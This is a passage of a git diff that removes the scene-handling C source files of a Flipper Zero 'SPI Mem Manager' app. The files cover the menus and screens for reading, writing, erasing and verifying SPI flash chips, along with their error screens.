spi_mem_scene_erase_callback, app); -} - -static void spi_mem_scene_erase_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -static void spi_mem_scene_erase_set_next_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneSuccess; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneWrite; - scene_manager_next_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_erase_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_erase_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_previous_scene(app->scene_manager); - } else if(event.event == SPIMemCustomEventWorkerDone) { - spi_mem_scene_erase_set_next_scene(app); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } - } - return success; -} -void spi_mem_scene_erase_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - notification_message(app->notifications, &sequence_blink_stop); - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c deleted file mode 100644 index 687f17f81..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c +++ /dev/null @@ -1,29 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_file_info_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* str = furi_string_alloc(); - furi_string_printf(str, "Size: %zu KB", spi_mem_file_get_size(app) / 1024); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "File info"); - widget_add_string_element( - app->widget, 64, 20, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_free(str); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_file_info_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneSavedFileMenu); - } - return success; -} -void spi_mem_scene_file_info_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c deleted file mode 100644 index bbf38a303..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_read_progress_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewReadCancel); -} - -static void spi_mem_scene_read_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_read_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_read_callback( - app->view_progress, spi_mem_scene_read_progress_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_blue); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_read_start(app->chip_info, app->worker, spi_mem_scene_read_callback, app); -} - -bool spi_mem_scene_read_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewReadCancel) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerify); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } - return success; -} -void spi_mem_scene_read_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c deleted file mode 100644 index 478f162c4..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c +++ /dev/null @@ -1,46 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_read_filename_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventTextEditResult); -} - -void spi_mem_scene_read_set_random_filename(SPIMemApp* app) { - if(furi_string_end_with(app->file_path, SPI_MEM_FILE_EXTENSION)) { - size_t filename_start = furi_string_search_rchar(app->file_path, '/'); - furi_string_left(app->file_path, filename_start); - } - name_generator_make_auto(app->text_buffer, SPI_MEM_TEXT_BUFFER_SIZE, TAG); -} - -void spi_mem_scene_read_filename_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_scene_read_set_random_filename(app); - text_input_set_header_text(app->text_input, "Name the dump"); - text_input_set_result_callback( - app->text_input, - spi_mem_scene_read_filename_view_result_callback, - app, - app->text_buffer, - SPI_MEM_FILE_NAME_SIZE, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewTextInput); -} - -bool spi_mem_scene_read_filename_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventTextEditResult) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneRead); - } - } - return success; -} -void spi_mem_scene_read_filename_on_exit(void* context) { - SPIMemApp* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c deleted file mode 100644 index d5767455e..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "../spi_mem_app_i.h" - -typedef enum { - SPIMemSceneSavedFileMenuSubmenuIndexWrite, - SPIMemSceneSavedFileMenuSubmenuIndexCompare, - SPIMemSceneSavedFileMenuSubmenuIndexInfo, - SPIMemSceneSavedFileMenuSubmenuIndexDelete, -} SPIMemSceneSavedFileMenuSubmenuIndex; - -static void spi_mem_scene_saved_file_menu_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_saved_file_menu_on_enter(void* context) { - SPIMemApp* app = context; - submenu_add_item( - app->submenu, - "Write", - SPIMemSceneSavedFileMenuSubmenuIndexWrite, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Compare", - SPIMemSceneSavedFileMenuSubmenuIndexCompare, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Info", - SPIMemSceneSavedFileMenuSubmenuIndexInfo, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Delete", - SPIMemSceneSavedFileMenuSubmenuIndexDelete, - spi_mem_scene_saved_file_menu_submenu_callback, - app); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_saved_file_menu_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu, event.event); - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexWrite) { - app->mode = SPIMemModeWrite; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexCompare) { - app->mode = SPIMemModeCompare; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexDelete) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneDeleteConfirm); - success = true; - } - if(event.event == SPIMemSceneSavedFileMenuSubmenuIndexInfo) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneFileInfo); - success = true; - } - } - return success; -} - -void spi_mem_scene_saved_file_menu_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c deleted file mode 100644 index cb48035b5..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -void spi_mem_scene_select_file_on_enter(void* context) { - SPIMemApp* app = context; - if(spi_mem_file_select(app)) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSavedFileMenu, 0); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSavedFileMenu); - } else { - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SPIMemSceneStart); - } -} - -bool spi_mem_scene_select_file_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void spi_mem_scene_select_file_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c deleted file mode 100644 index c39c4a182..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_select_model_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - spi_mem_chip_copy_chip_info(app->chip_info, *found_chips_get(app->found_chips, index)); - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_select_model_on_enter(void* context) { - SPIMemApp* app = context; - size_t models_on_vendor = 0; - for(size_t index = 0; index < found_chips_size(app->found_chips); index++) { - if(spi_mem_chip_get_vendor_enum(*found_chips_get(app->found_chips, index)) != - app->chip_vendor_enum) - continue; - submenu_add_item( - app->submenu, - spi_mem_chip_get_model_name(*found_chips_get(app->found_chips, index)), - index, - spi_mem_scene_select_model_submenu_callback, - app); - models_on_vendor++; - } - if(models_on_vendor == 1) spi_mem_scene_select_model_submenu_callback(context, 0); - submenu_set_header(app->submenu, "Choose chip model"); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSelectVendor)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_select_model_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, event.event); - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetected); - success = true; - } - return success; -} - -void spi_mem_scene_select_model_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c deleted file mode 100644 index c7f736f88..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../spi_mem_app_i.h" -#include -#include - -ARRAY_DEF(vendors, uint32_t) -ALGO_DEF(vendors, ARRAY_OPLIST(vendors)) - -static void spi_mem_scene_select_vendor_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - app->chip_vendor_enum = index; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -static void spi_mem_scene_select_vendor_sort_vendors(SPIMemApp* app, vendors_t vendors_arr) { - for(size_t index = 0; index < found_chips_size(app->found_chips); index++) { - vendors_push_back( - vendors_arr, spi_mem_chip_get_vendor_enum(*found_chips_get(app->found_chips, index))); - } - vendors_uniq(vendors_arr); -} - -void spi_mem_scene_select_vendor_on_enter(void* context) { - SPIMemApp* app = context; - vendors_t vendors_arr; - vendors_init(vendors_arr); - spi_mem_scene_select_vendor_sort_vendors(app, vendors_arr); - size_t vendors_arr_size = vendors_size(vendors_arr); - if(vendors_arr_size == 1) - spi_mem_scene_select_vendor_submenu_callback(context, *vendors_get(vendors_arr, 0)); - for(size_t index = 0; index < vendors_arr_size; index++) { - uint32_t vendor_enum = *vendors_get(vendors_arr, index); - submenu_add_item( - app->submenu, - spi_mem_chip_get_vendor_name_by_enum(vendor_enum), - vendor_enum, - spi_mem_scene_select_vendor_submenu_callback, - app); - } - vendors_clear(vendors_arr); - submenu_set_header(app->submenu, "Choose chip vendor"); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneSelectVendor)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -static void spi_mem_scene_select_vendor_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeCompare || app->mode == SPIMemModeWrite) - scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_select_vendor_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_select_vendor_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, event.event); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectModel); - success = true; - } - return success; -} - -void spi_mem_scene_select_vendor_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c deleted file mode 100644 index 38d064a4d..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "../spi_mem_app_i.h" - -typedef enum { - SPIMemSceneStartSubmenuIndexRead, - SPIMemSceneStartSubmenuIndexSaved, - SPIMemSceneStartSubmenuIndexErase, - SPIMemSceneStartSubmenuIndexWiring, - SPIMemSceneStartSubmenuIndexAbout -} SPIMemSceneStartSubmenuIndex; - -static void spi_mem_scene_start_submenu_callback(void* context, uint32_t index) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void spi_mem_scene_start_on_enter(void* context) { - SPIMemApp* app = context; - submenu_add_item( - app->submenu, - "Read", - SPIMemSceneStartSubmenuIndexRead, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Saved", - SPIMemSceneStartSubmenuIndexSaved, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Erase", - SPIMemSceneStartSubmenuIndexErase, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "Wiring", - SPIMemSceneStartSubmenuIndexWiring, - spi_mem_scene_start_submenu_callback, - app); - submenu_add_item( - app->submenu, - "About", - SPIMemSceneStartSubmenuIndexAbout, - spi_mem_scene_start_submenu_callback, - app); - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, SPIMemSceneStart)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewSubmenu); -} - -bool spi_mem_scene_start_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneStart, event.event); - if(event.event == SPIMemSceneStartSubmenuIndexRead) { - app->mode = SPIMemModeRead; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexSaved) { - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectFile); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexErase) { - app->mode = SPIMemModeErase; - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetect); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexWiring) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneWiring); - success = true; - } else if(event.event == SPIMemSceneStartSubmenuIndexAbout) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneAbout); - success = true; - } - } - return success; -} - -void spi_mem_scene_start_on_exit(void* context) { - SPIMemApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c deleted file mode 100644 index d5e289e24..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_storage_error_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_storage_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_storage_error_widget_callback, app); - widget_add_string_element( - app->widget, 85, 15, AlignCenter, AlignBottom, FontPrimary, "Storage error"); - widget_add_string_multiline_element( - app->widget, - 85, - 52, - AlignCenter, - AlignBottom, - FontSecondary, - "Error while\nworking with\nfilesystem"); - widget_add_icon_element(app->widget, 5, 6, &I_SDQuestion_35x43); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -static void spi_mem_scene_storage_error_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneChipDetect; - if(app->mode == SPIMemModeRead) scene = SPIMemSceneStart; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - if(app->mode == SPIMemModeDelete) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_storage_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_storage_error_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - spi_mem_scene_storage_error_set_previous_scene(app); - } - } - return success; -} -void spi_mem_scene_storage_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c deleted file mode 100644 index 39039466f..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_success_popup_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventPopupBack); -} - -void spi_mem_scene_success_on_enter(void* context) { - SPIMemApp* app = context; - popup_set_icon(app->popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(app->popup, "Success!", 5, 7, AlignLeft, AlignTop); - popup_set_callback(app->popup, spi_mem_scene_success_popup_callback); - popup_set_context(app->popup, app); - popup_set_timeout(app->popup, 1500); - popup_enable_timeout(app->popup); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewPopup); -} - -static void spi_mem_scene_success_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneSelectFile; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_another_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_success_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventPopupBack) { - spi_mem_scene_success_set_previous_scene(app); - } - } - return success; -} - -void spi_mem_scene_success_on_exit(void* context) { - SPIMemApp* app = context; - popup_reset(app->popup); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c deleted file mode 100644 index 08a8d1057..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_verify_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewVerifySkip); -} - -static void spi_mem_scene_verify_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_verify_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_verify_callback( - app->view_progress, spi_mem_scene_verify_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_cyan); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_file_size(app->view_progress, spi_mem_file_get_size(app)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_verify_start(app->chip_info, app->worker, spi_mem_scene_verify_callback, app); -} - -bool spi_mem_scene_verify_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewVerifySkip) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else if(event.event == SPIMemCustomEventWorkerVerifyFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerifyError); - } - } - return success; -} -void spi_mem_scene_verify_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c deleted file mode 100644 index fbe954fa6..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_verify_error_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_verify_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_verify_error_widget_callback, app); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Verification error"); - widget_add_string_element( - app->widget, 64, 21, AlignCenter, AlignBottom, FontSecondary, "Data mismatch"); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_verify_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } - } - return success; -} -void spi_mem_scene_verify_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c deleted file mode 100644 index 22036f4bc..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c +++ /dev/null @@ -1,18 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -void spi_mem_scene_wiring_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_icon_element(app->widget, 0, 0, &I_Wiring_SPI_128x64); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_wiring_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void spi_mem_scene_wiring_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c deleted file mode 100644 index dfa384fbb..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" -#include "../lib/spi/spi_mem_chip.h" -#include "../lib/spi/spi_mem_tools.h" - -void spi_mem_scene_write_progress_view_result_callback(void* context) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SPIMemCustomEventViewReadCancel); -} - -static void spi_mem_scene_write_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_write_on_enter(void* context) { - SPIMemApp* app = context; - spi_mem_view_progress_set_write_callback( - app->view_progress, spi_mem_scene_write_progress_view_result_callback, app); - notification_message(app->notifications, &sequence_blink_start_cyan); - spi_mem_view_progress_set_chip_size(app->view_progress, spi_mem_chip_get_size(app->chip_info)); - spi_mem_view_progress_set_file_size(app->view_progress, spi_mem_file_get_size(app)); - spi_mem_view_progress_set_block_size( - app->view_progress, spi_mem_tools_get_file_max_block_size(app->chip_info)); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewProgress); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_write_start(app->chip_info, app->worker, spi_mem_scene_write_callback, app); -} - -bool spi_mem_scene_write_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - UNUSED(app); - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventViewReadCancel) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == SPIMemCustomEventWorkerBlockReaded) { - spi_mem_view_progress_inc_progress(app->view_progress); - } else if(event.event == SPIMemCustomEventWorkerDone) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneVerify); - } else if(event.event == SPIMemCustomEventWorkerChipFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipError); - } else if(event.event == SPIMemCustomEventWorkerFileFail) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } - return success; -} -void spi_mem_scene_write_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - spi_mem_view_progress_reset(app->view_progress); - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/spi_mem_manager/spi_mem_app.c b/applications/external/spi_mem_manager/spi_mem_app.c deleted file mode 100644 index 96c3632d0..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app.c +++ /dev/null @@ -1,112 +0,0 @@ -#include -#include "spi_mem_app_i.h" -#include "spi_mem_files.h" -#include "lib/spi/spi_mem_chip_i.h" - -static bool spi_mem_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - SPIMemApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool spi_mem_back_event_callback(void* context) { - furi_assert(context); - SPIMemApp* app = context; - return 